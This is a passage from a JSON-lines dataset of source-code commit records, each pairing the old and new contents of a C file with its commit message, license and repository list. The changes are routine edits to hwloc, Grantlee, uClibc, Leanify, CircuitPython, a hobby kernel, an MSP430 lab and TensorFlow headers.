alloc\\n\");\n    cpu_set = mytest_hwloc_bitmap_alloc();\n    if (NULL == cpu_set) return 1;\n    printf(\"*** Test 2: topology init\\n\");\n    if (0 != mytest_hwloc_topology_init(&topology)) return 1;\n    printf(\"*** Test 3: topology load\\n\");\n    if (0 != mytest_hwloc_topology_load(topology)) return 1;\n    printf(\"*** Test 4: topology get depth\\n\");\n    depth = mytest_hwloc_topology_get_depth(topology);\n    if (depth < 0) return 1;\n    printf(\"    Max depth: %u\\n\", depth);\n    printf(\"*** Test 5: topology destroy\\n\");\n    mytest_hwloc_topology_destroy(topology);\n    printf(\"*** Test 6: bitmap free\\n\");\n    mytest_hwloc_bitmap_free(cpu_set);\n\n    return 0;\n}\n","subject":"Convert the embedded test to the bitmap API","message":"Convert the embedded test to the bitmap API\n\nThis commit was SVN r2512.\n","lang":"C","license":"bsd-3-clause","repos":"shekkbuilder\/hwloc,ggouaillardet\/hwloc,shekkbuilder\/hwloc,ggouaillardet\/hwloc,shekkbuilder\/hwloc,ggouaillardet\/hwloc,ggouaillardet\/hwloc,shekkbuilder\/hwloc"}
{"commit":"a7c27a794bf5e25046a75767f709f6619b61bcb1","old_file":"grantlee_core_library\/parser.h","new_file":"grantlee_core_library\/parser.h","old_contents":"\/*\n    Copyright (c) 2009 Stephen Kelly <steveire@gmail.com>\n*\/\n\n#ifndef PARSER_H\n#define PARSER_H\n\n#include <QStringList>\n\n#include \"token.h\"\n#include \"node.h\"\n\nnamespace Grantlee\n{\nclass AbstractNodeFactory;\n\nclass TagLibraryInterface;\nclass Filter;\n}\n\nclass ParserPrivate;\n\nnamespace Grantlee\n{\n\nclass GRANTLEE_EXPORT Parser : public QObject\n{\n  Q_OBJECT\npublic:\n  Parser( QList<Token> tokenList, QStringList pluginDirs, QObject *parent );\n  ~Parser();\n\n  NodeList parse(QStringList stopAt, QObject *parent);\n\n  NodeList parse(QObject *parent);\n\n  Filter *getFilter(const QString &name);\n\n  void skipPast(const QString &tag);\n\n  Token nextToken();\n  bool hasNextToken();\n\n  void loadLib(const QString &name);\n\n  void emitError(int errorNumber, const QString &message);\n\nprotected:\n  void addTag(QObject *);\n  void getBuiltInLibrary();\n  void getDefaultLibrary();\n\n  void prependToken(Token token);\n\nsignals:\n  void error(int type, const QString &message);\n\nprivate:\n  Q_DECLARE_PRIVATE(Parser);\n  ParserPrivate *d_ptr;\n\n};\n\n}\n\n#endif\n","new_contents":"\/*\n    Copyright (c) 2009 Stephen Kelly <steveire@gmail.com>\n*\/\n\n#ifndef PARSER_H\n#define PARSER_H\n\n#include <QStringList>\n\n#include \"token.h\"\n#include \"node.h\"\n\nnamespace Grantlee\n{\nclass Filter;\n}\n\nclass ParserPrivate;\n\nnamespace Grantlee\n{\n\nclass GRANTLEE_EXPORT Parser : public QObject\n{\n  Q_OBJECT\npublic:\n  Parser( QList<Token> tokenList, QStringList pluginDirs, QObject *parent );\n  ~Parser();\n\n  NodeList parse(QStringList stopAt, QObject *parent);\n\n  NodeList parse(QObject *parent);\n\n  Filter *getFilter(const QString &name);\n\n  void skipPast(const QString &tag);\n\n  Token nextToken();\n  bool hasNextToken();\n\n  void loadLib(const QString &name);\n\n  void emitError(int errorNumber, const QString &message);\n\nprotected:\n  void prependToken(Token token);\n\nsignals:\n  void error(int type, const QString &message);\n\nprivate:\n  Q_DECLARE_PRIVATE(Parser);\n  ParserPrivate *d_ptr;\n\n};\n\n}\n\n#endif\n","subject":"Remove some unused classes and methods.","message":"Remove some unused classes and methods.\n","lang":"C","license":"lgpl-2.1","repos":"cutelyst\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee,cutelyst\/grantlee,cutelyst\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee,cutelyst\/grantlee,simonwagner\/grantlee,cutelyst\/grantlee"}
{"commit":"87ab5a95231f699ff3a7f7893ec717db8e2dd7f6","old_file":"libc\/sysdeps\/linux\/arm\/__syscall_error.c","new_file":"libc\/sysdeps\/linux\/arm\/__syscall_error.c","old_contents":"","new_contents":"\/* Wrapper around clone system call.\n   Copyright (C) 1997, 1998, 1999, 2000 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with the GNU C Library; if not, write to the Free\n   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n   02111-1307 USA.  *\/\n\n#include <errno.h>\n\n\/* This routine is jumped to by all the syscall handlers, to stash\n * an error number into errno.  *\/\nint attribute_hidden __syscall_error (int err_no)\n{\n\t__set_errno (err_no);\n\treturn -1;\n}\n\n","subject":"Add missing file needed for arm to compile","message":"Add missing file needed for arm to compile\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
{"commit":"ffc7c9c71d092251c05e4193958ee357ee64ef3f","old_file":"formats\/format.h","new_file":"formats\/format.h","old_contents":"#ifndef FORMAT_H\n#define FORMAT_H\n\n\n#include <cstddef>\n#include <cstring>  \/\/ memmove\n\n\nclass Format\n{\npublic:\n    Format(void *p, size_t s = 0) : fp((char *)p), size(s) {};\n\n\n    virtual size_t Leanify(size_t size_leanified = 0)\n    {\n        if (size_leanified)\n        {\n            memmove(fp - size_leanified, fp, size);\n            fp -= size_leanified;\n        }\n\n        return size;\n    }\n\nprotected:\n    \/\/ pointer to the file content\n    char *fp;\n    \/\/ size of the file\n    size_t size;\n};\n\n\n#endif","new_contents":"#ifndef FORMAT_H\n#define FORMAT_H\n\n\n#include <cstddef>\n#include <cstring>  \/\/ memmove\n\n\nclass Format\n{\npublic:\n    Format(void *p, size_t s = 0) : fp((char *)p), size(s) {};\n\n    virtual ~Format() {};\n\n    virtual size_t Leanify(size_t size_leanified = 0)\n    {\n        if (size_leanified)\n        {\n            memmove(fp - size_leanified, fp, size);\n            fp -= size_leanified;\n        }\n\n        return size;\n    }\n\nprotected:\n    \/\/ pointer to the file content\n    char *fp;\n    \/\/ size of the file\n    size_t size;\n};\n\n\n#endif","subject":"Fix warning of non-virtual destructor","message":"Fix warning of non-virtual destructor\n","lang":"C","license":"mit","repos":"JayXon\/Leanify,yyjdelete\/Leanify,JayXon\/Leanify,yyjdelete\/Leanify"}
{"commit":"176354ff491286ce45f32cd41efc641fed506b4f","old_file":"lib\/toplevel.h","new_file":"lib\/toplevel.h","old_contents":"\/********************************************************************\n *                                                                  *\n * THIS FILE IS PART OF THE OggTheora SOFTWARE CODEC SOURCE CODE.   *\n * USE, DISTRIBUTION AND REPRODUCTION OF THIS LIBRARY SOURCE IS     *\n * GOVERNED BY A BSD-STYLE SOURCE LICENSE INCLUDED WITH THIS SOURCE *\n * IN 'COPYING'. PLEASE READ THESE TERMS BEFORE DISTRIBUTING.       *\n *                                                                  *\n * THE OggVorbis SOURCE CODE IS (C) COPYRIGHT 1994-2002             *\n * by the Xiph.Org Foundation http:\/\/www.xiph.org\/                  *\n *                                                                  *\n ********************************************************************\n\n  function: \n  last mod: $Id: toplevel.h,v 1.1 2003\/06\/04 01:31:46 mauricio Exp $\n\n ********************************************************************\/\n\n\/*from dbm huffman pack patch*\/\n\nextern void write_Qtables(oggpack_buffer* opb);\nextern void write_HuffmanSet(oggpack_buffer* opb, HUFF_ENTRY **hroot);\nextern void read_Qtables(oggpack_buffer* opb);\nextern void read_HuffmanSet(oggpack_buffer* opb);\nextern void InitHuffmanSetPlay( PB_INSTANCE *pbi );","new_contents":"\/********************************************************************\n *                                                                  *\n * THIS FILE IS PART OF THE OggTheora SOFTWARE CODEC SOURCE CODE.   *\n * USE, DISTRIBUTION AND REPRODUCTION OF THIS LIBRARY SOURCE IS     *\n * GOVERNED BY A BSD-STYLE SOURCE LICENSE INCLUDED WITH THIS SOURCE *\n * IN 'COPYING'. PLEASE READ THESE TERMS BEFORE DISTRIBUTING.       *\n *                                                                  *\n * THE OggVorbis SOURCE CODE IS (C) COPYRIGHT 1994-2002             *\n * by the Xiph.Org Foundation http:\/\/www.xiph.org\/                  *\n *                                                                  *\n ********************************************************************\n\n  function: \n  last mod: $Id: toplevel.h,v 1.2 2003\/06\/07 23:34:56 giles Exp $\n\n ********************************************************************\/\n\n\/*from dbm huffman pack patch*\/\n\nextern void write_Qtables(oggpack_buffer* opb);\nextern void write_HuffmanSet(oggpack_buffer* opb, HUFF_ENTRY **hroot);\nextern void read_Qtables(oggpack_buffer* opb);\nextern void read_HuffmanSet(oggpack_buffer* opb);\nextern void InitHuffmanSetPlay( PB_INSTANCE *pbi );\n","subject":"Add newline at the end of the file.","message":"Add newline at the end of the file.\n\n\ngit-svn-id: 8dbf393e6e9ab8d4979d29f9a341a98016792aa6@4891 0101bb08-14d6-0310-b084-bc0e0c8e3800\n","lang":"C","license":"bsd-3-clause","repos":"Distrotech\/libtheora,KTXSoftware\/theora,KTXSoftware\/theora,Distrotech\/libtheora,KTXSoftware\/theora,Distrotech\/libtheora,Distrotech\/libtheora,Distrotech\/libtheora,KTXSoftware\/theora,KTXSoftware\/theora"}
{"commit":"09a58883475fd838d56775181592d1abf3e9e453","old_file":"3RVX\/MeterWnd\/Animation.h","new_file":"3RVX\/MeterWnd\/Animation.h","old_contents":"","new_contents":"#pragma once\n\n#include \"MeterWnd.h\"\n\nclass Animation {\npublic:\n    Animation(MeterWnd &meterWnd) :\n    _meterWnd(meterWnd) {\n\n    }\n\n    virtual bool Animate() = 0;\n    virtual void Reset() = 0;\n\nprotected:\n    MeterWnd &_meterWnd;\n};","subject":"Add new abstract animation class","message":"Add new abstract animation class\n","lang":"C","license":"bsd-2-clause","repos":"Soulflare3\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,malensek\/3RVX"}
{"commit":"a21685eab417189d887db6d5a83bfff83661c1eb","old_file":"gui\/mainwindow.h","new_file":"gui\/mainwindow.h","old_contents":"#ifndef MAINWINDOW_H\n#define MAINWINDOW_H\n\n#include <QMainWindow>\n\nnamespace Ui {\nclass MainWindow;\n}\n\nclass MainWindow : public QMainWindow\n{\n    Q_OBJECT\n\npublic:\n    explicit MainWindow(QWidget *parent = 0);\n    ~MainWindow();\n\nprivate:\n    Ui::MainWindow *ui;\n};\n\n#endif \/\/ MAINWINDOW_H\n","new_contents":"#pragma once\n\n#include <QMainWindow>\n\nnamespace Ui {\nclass MainWindow;\n}\n\nclass MainWindow : public QMainWindow\n{\n    Q_OBJECT\n\npublic:\n    explicit MainWindow(QWidget *parent = 0);\n    ~MainWindow();\n\nprivate:\n    Ui::MainWindow *ui;\n};\n\n","subject":"Use pragma once instead of ifdef","message":"Use pragma once instead of ifdef\n","lang":"C","license":"bsd-2-clause","repos":"csete\/softrig,csete\/softrig,csete\/softrig"}
{"commit":"28756936d56729331733a17a2f750969a8713ece","old_file":"ports\/broadcom\/boards\/raspberrypi_zero2w\/mpconfigboard.h","new_file":"ports\/broadcom\/boards\/raspberrypi_zero2w\/mpconfigboard.h","old_contents":"#define MICROPY_HW_BOARD_NAME \"Raspberry Pi Zero 2W\"\n\n#define DEFAULT_I2C_BUS_SCL         (&pin_GPIO3)\n#define DEFAULT_I2C_BUS_SDA         (&pin_GPIO2)\n\n#define CIRCUITPY_CONSOLE_UART_TX   (&pin_GPIO14)\n#define CIRCUITPY_CONSOLE_UART_RX   (&pin_GPIO15)\n","new_contents":"#define MICROPY_HW_BOARD_NAME \"Raspberry Pi Zero 2W\"\n\n#define DEFAULT_I2C_BUS_SCL         (&pin_GPIO3)\n#define DEFAULT_I2C_BUS_SDA         (&pin_GPIO2)\n\n#define MICROPY_HW_LED_STATUS       (&pin_GPIO29)\n\n#define CIRCUITPY_CONSOLE_UART_TX   (&pin_GPIO14)\n#define CIRCUITPY_CONSOLE_UART_RX   (&pin_GPIO15)\n","subject":"Add HW_LED_STATUS pin to Zero 2W board","message":"Add HW_LED_STATUS pin to Zero 2W board","lang":"C","license":"mit","repos":"adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython"}
{"commit":"73069b2287eb0d7c14508e158683463e496f19a6","old_file":"kernel\/kabort.c","new_file":"kernel\/kabort.c","old_contents":"#include \"kputs.c\"\n\nvoid abort(void)\n{\n\t\/\/ TODO: Add proper kernel panic.\n\tkputs(\"Kernel Panic! abort()\\n\");\n\twhile ( 1 ) { }\n}\n\n","new_contents":"#ifndef KABORT_C\n#define KABORT_C\n#include \"kputs.c\"\n\nvoid kabort(void)\n{\n\t\/\/ TODO: Add proper kernel panic.\n\tkputs(\"Kernel Panic! abort()\\n\");\n\twhile ( 1 ) { }\n}\n\n#endif\n","subject":"Add header guards. Properly name function.","message":"Add header guards. Properly name function.\n","lang":"C","license":"mit","repos":"Herbstein\/kernel-of-truth,awensaunders\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,Herbstein\/kernel-of-truth,Herbstein\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,awensaunders\/kernel-of-truth,awensaunders\/kernel-of-truth"}
{"commit":"62f40124d763af49bf9ef8f03ba23db2818b771f","old_file":"src\/voglcore\/vogl_warnings.h","new_file":"src\/voglcore\/vogl_warnings.h","old_contents":"","new_contents":"\/**************************************************************************\n *\n * Copyright 2013-2014 RAD Game Tools and Valve Software\n * All Rights Reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n **************************************************************************\/\n\n#if defined(__GNUC__)\n  #define GCC_DIAGNOSTIC_STR(s)       #s\n  #define GCC_DIAGNOSTIC_JOINSTR(x,y) GCC_DIAGNOSTIC_STR(x ## y)\n  #define GCC_DIAGNOSTIC_DO_PRAGMA(x) _Pragma (#x)\n  #define GCC_DIAGNOSTIC_PRAGMA(x)    GCC_DIAGNOSTIC_DO_PRAGMA(GCC diagnostic x)\n\n  #define GCC_DIAGNOSTIC_PUSH()       GCC_DIAGNOSTIC_PRAGMA(push)\n  #define GCC_DIAGNOSTIC_IGNORED(x)   GCC_DIAGNOSTIC_PRAGMA(ignored GCC_DIAGNOSTIC_JOINSTR(-W,x))\n  #define GCC_DIAGNOSTIC_POP()        GCC_DIAGNOSTIC_PRAGMA(pop)\n#else\n  #define GCC_DIAGNOSTIC_PUSH()\n  #define GCC_DIAGNOSTIC_IGNORED(x)\n  #define GCC_DIAGNOSTIC_POP()\n#endif\n","subject":"Add GCC diagnostic warning macros","message":"Add GCC diagnostic warning macros\n","lang":"C","license":"mit","repos":"ValveSoftware\/vogl,bclemetsonblizzard\/vogl,kingtaurus\/vogl,kingtaurus\/vogl,bclemetsonblizzard\/vogl,kingtaurus\/vogl,ValveSoftware\/vogl,ValveSoftware\/vogl,bclemetsonblizzard\/vogl,kingtaurus\/vogl,bclemetsonblizzard\/vogl,ValveSoftware\/vogl,bclemetsonblizzard\/vogl"}
{"commit":"f1540aa94ffea5a5a241e69cfb317c6361421f03","old_file":"src\/replace_format_ptr.c","new_file":"src\/replace_format_ptr.c","old_contents":"\/* ************************************************************************** *\/\n\/*                                                                            *\/\n\/*                                                        :::      ::::::::   *\/\n\/*   replace_format_ptr.c                               :+:      :+:    :+:   *\/\n\/*                                                    +:+ +:+         +:+     *\/\n\/*   By: jlagneau <jlagneau@student.42.fr>          +#+  +:+       +#+        *\/\n\/*                                                +#+#+#+#+#+   +#+           *\/\n\/*   Created: 2017\/04\/19 10:28:27 by jlagneau          #+#    #+#             *\/\n\/*   Updated: 2017\/04\/19 10:32:52 by jlagneau         ###   ########.fr       *\/\n\/*                                                                            *\/\n\/* ************************************************************************** *\/\n\n#include <libft.h>\n#include <ft_printf.h>\n\nint\t\treplace_format_ptr(char *format, char *pos, va_list ap)\n{\n\tint\t\tret;\n\tchar\t*tmp;\n\tchar\t*data;\n\n\ttmp = NULL;\n\tif (!(tmp = ft_itoa_base(va_arg(ap, unsigned int), BASE_HEX_LOWER)))\n\t\treturn (-1);\n\tif (ft_strcmp(tmp, \"0\") == 0)\n\t\tdata = ft_strdup(\"(nil)\");\n\telse\n\t\tdata = ft_strjoin(\"0x\", tmp);\n\tret = replace_format(format, data, pos, 2);\n\tft_strdel(&data);\n\tft_strdel(&tmp);\n\treturn (ret);\n}\n","new_contents":"\/* ************************************************************************** *\/\n\/*                                                                            *\/\n\/*                                                        :::      ::::::::   *\/\n\/*   replace_format_ptr.c                               :+:      :+:    :+:   *\/\n\/*                                                    +:+ +:+         +:+     *\/\n\/*   By: jlagneau <jlagneau@student.42.fr>          +#+  +:+       +#+        *\/\n\/*                                                +#+#+#+#+#+   +#+           *\/\n\/*   Created: 2017\/04\/19 10:28:27 by jlagneau          #+#    #+#             *\/\n\/*   Updated: 2017\/04\/19 12:10:38 by jlagneau         ###   ########.fr       *\/\n\/*                                                                            *\/\n\/* ************************************************************************** *\/\n\n#include <libft.h>\n#include <ft_printf.h>\n\nint\t\treplace_format_ptr(char *format, char *pos, va_list ap)\n{\n\tint\t\tret;\n\tchar\t*tmp;\n\tchar\t*data;\n\n\ttmp = NULL;\n\tif (!(tmp = ft_ltoa_base(va_arg(ap, unsigned long), BASE_HEX_LOWER)))\n\t\treturn (-1);\n\tif (ft_strcmp(tmp, \"0\") == 0)\n\t\tdata = ft_strdup(\"(nil)\");\n\telse\n\t\tdata = ft_strjoin(\"0x\", tmp);\n\tret = replace_format(format, data, pos, 2);\n\tft_strdel(&data);\n\tft_strdel(&tmp);\n\treturn (ret);\n}\n","subject":"Fix format ptr from unsigned int to unsigned long","message":"Fix format ptr from unsigned int to unsigned long\n","lang":"C","license":"mit","repos":"jlagneau\/libftprintf,jlagneau\/libftprintf"}
{"commit":"9a779b1446afdf1f4b6d1b8ba598ffb329edccb3","old_file":"Labs\/Lab3\/lab3_skeleton.c","new_file":"Labs\/Lab3\/lab3_skeleton.c","old_contents":"\/* Based on msp430g2xx3_wdt_02.c from the TI Examples *\/\r\n\r\n#include <msp430.h>\r\n\r\nint main(void)\r\n{\r\n    WDTCTL = WDT_ADLY_250;                    \/\/ WDT 250ms, ACLK, interval timer\r\n    IE1 |= WDTIE;                             \/\/ Enable WDT interrupt\r\n    P1DIR |= BIT0;                            \/\/ Set P1.0 to output direction\r\n\r\n    __bis_SR_register(GIE);                   \/\/ Enable interrupts\r\n    while (1) {\r\n        __bis_SR_register(LPM3_bits);   \/\/ Enter LPM3 w\/interrupt\r\n        P1OUT ^= BIT0;\r\n    }\r\n}\r\n\r\n\/\/ Watchdog Timer interrupt service routine\r\n#if defined(__TI_COMPILER_VERSION__) || defined(__IAR_SYSTEMS_ICC__)\r\n#pragma vector=WDT_VECTOR\r\n__interrupt void watchdog_timer(void)\r\n#elif defined(__GNUC__)\r\nvoid __attribute__ ((interrupt(WDT_VECTOR))) watchdog_timer (void)\r\n#else\r\n#error Compiler not supported!\r\n#endif\r\n{\r\n    __bic_SR_register_on_exit(LPM3_bits);\r\n}\r\n","new_contents":"\/* Based on msp430g2xx3_wdt_02.c from the TI Examples *\/\r\n\r\n#include <msp430.h>\r\n\r\nint main(void)\r\n{\r\n    BCSCTL3 |= LFXT1S_2;                      \/\/ ACLK = VLO\r\n    WDTCTL = WDT_ADLY_250;                    \/\/ WDT 250ms, ACLK, interval timer\r\n    IE1 |= WDTIE;                             \/\/ Enable WDT interrupt\r\n    P1DIR |= BIT0;                            \/\/ Set P1.0 to output direction\r\n\r\n    __bis_SR_register(GIE);                   \/\/ Enable interrupts\r\n    while (1) {\r\n        __bis_SR_register(LPM3_bits);   \/\/ Enter LPM3 w\/interrupt\r\n        P1OUT ^= BIT0;\r\n    }\r\n}\r\n\r\n\/\/ Watchdog Timer interrupt service routine\r\n#if defined(__TI_COMPILER_VERSION__) || defined(__IAR_SYSTEMS_ICC__)\r\n#pragma vector=WDT_VECTOR\r\n__interrupt void watchdog_timer(void)\r\n#elif defined(__GNUC__)\r\nvoid __attribute__ ((interrupt(WDT_VECTOR))) watchdog_timer (void)\r\n#else\r\n#error Compiler not supported!\r\n#endif\r\n{\r\n    __bic_SR_register_on_exit(LPM3_bits);\r\n}\r\n","subject":"Update lab3 skeleton code to properly source ACLK from VLO","message":"Update lab3 skeleton code to properly source ACLK from VLO\n","lang":"C","license":"mit","repos":"ckemere\/ELEC327,ckemere\/ELEC327,ckemere\/ELEC327,ckemere\/ELEC327,ckemere\/ELEC327"}
{"commit":"9204bf4660feeb3acbc0de2500698adcfdfbd521","old_file":"include\/arch\/x64\/isr.h","new_file":"include\/arch\/x64\/isr.h","old_contents":"#pragma once\n\nextern void _service_interrupt(void);\n\nextern void isr0(void);\nextern void isr1(void);\nextern void isr2(void);\nextern void isr3(void);\nextern void isr4(void);\nextern void isr5(void);\nextern void isr6(void);\nextern void isr7(void);\nextern void isr8(void);\nextern void isr9(void);\nextern void isr10(void);\nextern void isr11(void);\nextern void isr12(void);\nextern void isr13(void);\nextern void isr14(void);\nextern void isr15(void);\nextern void isr16(void);\nextern void isr17(void);\nextern void isr18(void);\nextern void isr19(void);\nextern void isr20(void);\nextern void isr21(void);\nextern void isr22(void);\nextern void isr23(void);\nextern void isr24(void);\nextern void isr25(void);\nextern void isr26(void);\nextern void isr27(void);\nextern void isr28(void);\nextern void isr29(void);\nextern void isr30(void);\nextern void isr31(void);\nextern void isr32(void);\nextern void isr33(void);\nextern void isr34(void);\n","new_contents":"#pragma once\n\nextern void _service_interrupt(void);\ntypedef void (*isr_f)(void);\n\nextern void isr0(void);\nextern void isr1(void);\nextern void isr2(void);\nextern void isr3(void);\nextern void isr4(void);\nextern void isr5(void);\nextern void isr6(void);\nextern void isr7(void);\nextern void isr8(void);\nextern void isr9(void);\nextern void isr10(void);\nextern void isr11(void);\nextern void isr12(void);\nextern void isr13(void);\nextern void isr14(void);\nextern void isr15(void);\nextern void isr16(void);\nextern void isr17(void);\nextern void isr18(void);\nextern void isr19(void);\nextern void isr20(void);\nextern void isr21(void);\nextern void isr22(void);\nextern void isr23(void);\nextern void isr24(void);\nextern void isr25(void);\nextern void isr26(void);\nextern void isr27(void);\nextern void isr28(void);\nextern void isr29(void);\nextern void isr30(void);\nextern void isr31(void);\nextern void isr32(void);\nextern void isr33(void);\nextern void isr34(void);\n","subject":"Define convenient ISR function pointer type","message":"Define convenient ISR function pointer type\n","lang":"C","license":"mit","repos":"iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth"}
{"commit":"d4e57c88ba4f7d17d09b0f6287456c213a05c566","old_file":"tensorflow\/core\/grappler\/optimizers\/tfg_passes_builder.h","new_file":"tensorflow\/core\/grappler\/optimizers\/tfg_passes_builder.h","old_contents":"\/* Copyright 2022 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_GRAPPLER_OPTIMIZERS_TFG_PASSES_BUILDER_H_\n#define TENSORFLOW_CORE_GRAPPLER_OPTIMIZERS_TFG_PASSES_BUILDER_H_\n\n#include \"mlir\/Pass\/PassManager.h\"  \/\/ from @llvm-project\n\nnamespace mlir {\nnamespace tfg {\n\n\/\/ Constructs the default graph\/function-level TFG pass pipeline.\nvoid DefaultGrapplerPipeline(PassManager& mgr);\n\n\/\/ Constructs the default module-level TFG pass pipeline.\nvoid DefaultModuleGrapplerPipeline(PassManager& mgr);\n\n\/\/ Add a remapper pass to the given pass manager.\nvoid RemapperPassBuilder(PassManager& mgr);\n\n}  \/\/ namespace tfg\n}  \/\/ namespace mlir\n\n#endif  \/\/ TENSORFLOW_CORE_GRAPPLER_OPTIMIZERS_TFG_PASSES_BUILDER_H_\n","new_contents":"\/* Copyright 2022 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_GRAPPLER_OPTIMIZERS_TFG_PASSES_BUILDER_H_\n#define TENSORFLOW_CORE_GRAPPLER_OPTIMIZERS_TFG_PASSES_BUILDER_H_\n\n#include \"mlir\/Pass\/PassManager.h\"  \/\/ from @llvm-project\n\nnamespace mlir {\nnamespace tfg {\n\n\/\/ Constructs the default graph\/function-level TFG pass pipeline.\nvoid DefaultGrapplerPipeline(PassManager& manager);\n\n\/\/ Constructs the default module-level TFG pass pipeline.\nvoid DefaultModuleGrapplerPipeline(PassManager& manager);\n\n\/\/ Add a remapper pass to the given pass manager.\nvoid RemapperPassBuilder(PassManager& manager);\n\n}  \/\/ namespace tfg\n}  \/\/ namespace mlir\n\n#endif  \/\/ TENSORFLOW_CORE_GRAPPLER_OPTIMIZERS_TFG_PASSES_BUILDER_H_\n","subject":"Make function parameter names consistent between header and impl.","message":"[tfg] Make function parameter names consistent between header and impl.\n\nPiperOrigin-RevId: 446807976\n","lang":"C","license":"apache-2.0","repos":"karllessard\/tensorflow,yongtang\/tensorflow,yongtang\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,paolodedios\/tensorflow,paolodedios\/tensorflow,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,paolodedios\/tensorflow,gautam1858\/tensorflow,paolodedios\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,gautam1858\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-experimental_link_static_libraries_once,gautam1858\/tensorflow,paolodedios\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,paolodedios\/tensorflow,tensorflow\/tensorflow,gautam1858\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,tensorflow\/tensorflow,yongtang\/tensorflow,gautam1858\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,gautam1858\/tensorflow,gautam1858\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,paolodedios\/tensorflow,Intel-tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_